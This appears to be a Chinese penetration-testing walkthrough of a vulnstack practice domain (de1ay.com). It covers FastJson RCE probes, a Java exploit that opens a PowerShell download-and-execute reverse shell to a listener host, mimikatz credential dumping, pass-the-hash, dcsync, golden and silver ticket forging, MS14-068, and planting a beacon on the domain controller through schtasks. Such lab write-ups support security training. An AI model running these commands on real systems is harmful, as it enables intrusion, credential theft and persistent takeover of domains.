域环境利用已有靶场,简单方便http://vulnstack.qiyuanxuetang.net/vuln/detail/3/

web环境漏洞FastJson。利用https://github.com/RealBearcat/FastJson-JdbcRowSetImpl-RCE 修改而来

image-20200407153757538

参数为json字符串,可以简单的使用如下探测是否存在问题。

{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}

比如,此处使用burp的DNS监听

image-20200407140108169

执行后会发现,说明存在问题。

image-20200407140121264

至于版本,可以在一般测试中,构造错误的json字符串查看报错信息,但此处没有错误显示,直接使用几个较高版本的POC测试。

此处直接使用47的POC,由于是Windows系统,则利用cs使用powershell来反弹shell。

import java.lang.Runtime;
import java.lang.Process;

public class Exploit {
    public Exploit(){
        try{
            // Runtime.getRuntime().exec("/bin/bash -i >&/dev/tcp/192.168.120.130/8888<&1");
            Runtime.getRuntime().exec("powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring(\'http://192.168.120.130:80/a\'))\"");
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        Exploit e = new Exploit();
    }
}

执行后,在cs端就可以收到shell了。利用ms15-051提权,提权模块可能是添加的插件。获得system权限。还可以看到存在一个内网地址10.10.10.80。

image-20200408095902201

利用mimikatz获取密码,只能读取到当前登陆账号的明文密码。

mimikatz sekurlsa::logonpasswords

image-20200408134439940

不过如果使用了管理员账号来执行操作修改配置,也可以读取到管理员hash。如果使用明文密码登陆修改就可以抓到。

image-20200408151440720

如果提示报错,尝试修改注册表

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

收集信息可知以下信息

域名:DC.de1ay.com
域主机:10.10.10.10
域用户:Administrator,delay,mssql
域管理员:Administrator
两个网卡:192.168.120.0/24,10.10.10.0/24
主机:存在两个主机(192.168.120.201,10.10.10.10)
存在360主机防御系统,不过并没有干涉

image-20200408100546410

尝试利用de1ay用户来登陆PC,利用psexec登陆不成功。

使用psexec登陆,DC机显示成功但是没有获得shell,可能是没成功把

image-20200408155334127

然后利用net共享,先用mimikatz生成pth凭据。

sekurlsa::pth /domain:. /user:Administrator /ntlm: 70be8675cd511daa9be4b8f49e829327

net和psexec的时候还是不成功,报错。利用cs自身的pth模块执行,还是报错,拒绝访问

pth DE1AY\de1ay 161cff084477fe596a5db81874498a24

image-20200408163645027

再尝试利用金票,直接登陆到主机上,上传mimikatz执行。

lsadump::dcsync /domain:de1ay.com /user:krbtgt

image-20200409164051760

得到HASH之后使用mimikatz中的kerberos::golden功能生成金票golden.kiribi

kerberos::golden /admin:administrator /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604 /krbtgt:82dfc71b72a11ef37d663047bc2088fb /ticket:golden.kiribi

image-20200409164616356

通过mimikatz中的kerberos::ptt将golden.kiribi导入内存中

kerberos::purge   //删除票据
kerberos::ptt golden.kiribi  //导入票据
kerberos::list  //查看票据

image-20200409164906689

查看DC域主机默认共享,可以连接到域主机,上传文件执行。

image-20200409165120018

先利用域内主机创建一个端口转发,先创建一个dns的监听,然后利用已有shell。再去创建一个listener。如下dc。

image-20200409172526385

或者直接利用已有shell来创建listener,再生成exe。利用dc监听来生成exe

image-20200409172758964

利用copy beacon.exe \\DC.de1ay.com\c$\Users\de1ay\到DC主机上

image-20200409170358135

创建计划任务执行后门,很快就有DC主机上线了。

schtasks /create /s DC.de1ay.com /ru "SYSTEM" /tn testdc /sc DAILY /tr C:\\Users\\de1ay\\beacon.exe /F
schtasks /run /s DC.de1ay.com /tn testdc /i

image-20200409173044533

对于用户PC机,同样可以利用金票来执行,后面的操作和上面类似。

image-20200409174013572

最后就可以获得shell。

image-20200409174748884

再尝试使用银票,生成前删除全部票据,不能访问。

klist purge

image-20200410090753302

这里使用de1ay的hash

image-20200410091300403

kerberos::golden /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604 /target:DC.de1ay.org /service:cifs /rc4:161cff084477fe596a5db81874498a24 /user:de1ay /ptt

这里使用/ptt直接导入内存,或者先生成票据,再使用上面的kerberos::ptt导入内存。

image-20200410091815717

查看是否可以访问

image-20200410091924771

同样shell以后可以看到是个用户权限

image-20200410092340435

在尝试使用ms14-068,DC机是Windows2012,没有补丁KB3011780,同样删除票据

由于主机上没有python环境,pykek不能使用,暂时没有exe版本的pykek。下载使用编译完成的exe文件

https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068

ms14-068.exe -u de1ay@de1ay.com -s S-1-5-21-2756371121-2868759905-3853650604 -d DC.de1ay.com

生成cache缓存文件,再使用mimikatz来导入

kerberos::ptc TGT_de1ay@de1ay.com.ccache

image-20200410100442974

不过回过头看,之前在cs中执行利用psexec和已有凭据执行psh的时候应该是成功的。

image-20200410113800119

执行后在DC上会有短暂的ps调用显示,但至于为啥没有回显和连接,也许是连接错误。





# 渗透测试  

tocToc: